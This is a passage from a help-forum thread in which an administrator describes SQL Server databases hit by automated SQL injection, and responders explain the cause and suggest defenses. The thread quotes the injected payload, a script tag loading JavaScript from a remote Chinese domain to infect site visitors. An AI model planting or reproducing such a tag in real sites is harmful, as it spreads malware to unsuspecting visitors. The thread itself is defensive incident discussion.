paemond
asked on
Virus/SQL Injection Attack
Hi,
For the past couple of weeks we've been the victims of SQL Injection attacks. It started with the 'nihao1orr.com' (or something like that), but the effect in all the cases was the same....all the text fields in one database were appended with some script text beginning with '<scrip't .... and ending with '.js /script>'. The latest one was at 5:30pm was on the same database...every text field had the following appended to it:
<script src=http://www.kisswow.com.cn/m.js></script>
A couple of days ago I noticed some weird accounts in not just the Production server but in others. They were weird. They didn't have access to any specific databases but 'Master' their default DB. I deleted them all, changed all the SA passwords and rationalized other accounts. And yet we were hit again. Fortunately I set the backups to run on the database that's been hit to run every 2 hours.
Can someone please tell me where the hell this is coming from and how I can stop it!!!!!!!!
This is very urgent! Please help!
P.S. Based on the size of the .trn file at 5:30pm, that's when it happened. Is there anything I can use to look at that file and would it contain anything that might help to nail down the source?
For the past couple of weeks we've been the victims of SQL Injection attacks. It started with the 'nihao1orr.com' (or something like that), but the effect in all the cases was the same....all the text fields in one database were appended with some script text beginning with '<scrip't .... and ending with '.js /script>'. The latest one was at 5:30pm was on the same database...every text field had the following appended to it:
<script src=http://www.kisswow.com.cn/m.js></script>
A couple of days ago I noticed some weird accounts in not just the Production server but in others. They were weird. They didn't have access to any specific databases but 'Master' their default DB. I deleted them all, changed all the SA passwords and rationalized other accounts. And yet we were hit again. Fortunately I set the backups to run on the database that's been hit to run every 2 hours.
Can someone please tell me where the hell this is coming from and how I can stop it!!!!!!!!
This is very urgent! Please help!
P.S. Based on the size of the .trn file at 5:30pm, that's when it happened. Is there anything I can use to look at that file and would it contain anything that might help to nail down the source?
I have had the exact same thing happen to my webserver and it has brought down our services. I also, desperately need a resolution.
It's coming from your web application(s). The attackers have a tool (not publicly available as yet) that automates SQL injection techniques and is able to perform its magic on possibly millions of websites in short order. It's taking advantage of poor coding practises and appending the script tags to records in your table with for the purpose of infecting visitors to your site using a variety of javascript and html exploits affecting several vulnerable applications on your visitors machines.
What you need to do is inspect your web application code and locate places where the code accepts inputs from the web browser and then uses those inputs to form SQL queries. These inputs should be regarded as unsafe and should be treated as such in the code.
What you need to do is inspect your web application code and locate places where the code accepts inputs from the web browser and then uses those inputs to form SQL queries. These inputs should be regarded as unsafe and should be treated as such in the code.
ASKER
Hi,
I agree that it is coming through one of our applications...some .asp pages that probably have not been properly coded. I'll bring that up to my boss.
But, in the meantime is there anything I can do on the database side to protect myself? I'm going to run a trace tonight. Will that give me any clues as to exactly how and where this is coming from?
Thanks
I agree that it is coming through one of our applications...some .asp pages that probably have not been properly coded. I'll bring that up to my boss.
But, in the meantime is there anything I can do on the database side to protect myself? I'm going to run a trace tonight. Will that give me any clues as to exactly how and where this is coming from?
Thanks
You can read some (now possibly outdated) info on the injection parameters and you may be able to detect these in the web access logs (and proabably from a trace) and then try and prevent the injection with a webapp firewall or some similar technique.
http://www.0x000000.com/?i=556
http://www.0x000000.com/?i=556
In this article http://www.f-secure.com/weblog/archives/00001432.html , it mentions the domain you've observed and talks about the same type of encoded injection script (as above and at http://www.f-secure.com/weblog/archives/00001427.html), but neither mention any "weird accounts" as you observed. This could be new or it could be unrelated.
ASKER
One more thing! Someone told me that there's an option in SQL Server 2000 to prevent SQL Injection by preventing mutiple statements on one line. Is that true? Wouldn't that prevent the SQL injection? If it does exist can you tell me how to do it?
Thanks
Pierre
Thanks
Pierre
I'm not completely sure about this. I think that the issue is not multiple statements on a single line, rather multiple commands in one statement.
Here's a quote from Jeremiah Grossman:
...this actually is not a clinical vulnerability in MS SQL server, but it is directly targeted at MS SQL server. So the way this exploit works...it sends multiple commands to the database as a single statement. So they'll tell the database to do several things in order with one request. If you try to send the same command to other databases like MySQL, it won't work. So the bad guys are leveraging a feature of the database, not necessarily the vulnerability. So they're right [Microsoft], it's not a new vulnerability, but it is a feature that the bad guys are leveraging.
I don't know if this feature can be turned-off - I suspect not.
Here's a quote from Jeremiah Grossman:
...this actually is not a clinical vulnerability in MS SQL server, but it is directly targeted at MS SQL server. So the way this exploit works...it sends multiple commands to the database as a single statement. So they'll tell the database to do several things in order with one request. If you try to send the same command to other databases like MySQL, it won't work. So the bad guys are leveraging a feature of the database, not necessarily the vulnerability. So they're right [Microsoft], it's not a new vulnerability, but it is a feature that the bad guys are leveraging.
I don't know if this feature can be turned-off - I suspect not.
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Thanks a lot for your help! I'm running a trace all night tonight and hoping it happens again and that maybe the trace file will provide some useful info on where this is coming from and how. Thanks again. Take care.
> .. were appended with some script text beginning with '<scrip
what has this to do with SQL injection?
what has this to do with SQL injection?
SQL injection is the method by which the rows in the table are being appended with script tags.
.. but that was not mentioned anyhow in the question, wondering ...
I see what you mean, although Pierre himself recognised that it's SQL injection. There's been quite alot mentioned on the web about these SQL injection attacks and the kisswow.com.cn is the information that ties this case to those attacks.